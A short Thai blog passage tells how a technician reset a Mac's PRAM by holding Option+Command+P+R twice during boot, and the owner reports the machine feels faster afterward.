ปัญหานี้ไม่ใช่เกิดกับทุกโปรแกรม แต่จะเป็นกับบางโปรแกรมที่พัฒนามาไม่ดี หรือไม่ได้เขียนส่วนนี้เอาไว้ด้วย เจ้าหน้าที่ท่านเดิมเขาเลยช่วยเคลียค่า PR ให้พี่มิ้งค์ ก่อนยกเครื่องกลับบ้าน อ่านถึงตรงนี้กำลังสงสัยใช่ไหมว่าเขาทำยังไง?

คำตอบ
“ตอนที่เปิดเครื่องใหม่ ระหว่างที่กำลังบูตให้กดปุ่ม Option + Command + P + R ค้างไว้ ที่จอจะเหมือนสว่างและดับไป ให้ทำแบบนี้ 2 รอบ ก็จะเรียบร้อย”

ผลที่ได้
“รู้สึกเครื่องแมคทำงานเร็วขึ้นเยอะเลยครับ”

ขอบคุณ : http://www.arip.co.th

Follow

Get every new post delivered to your Inbox.

Join 1,515 other followers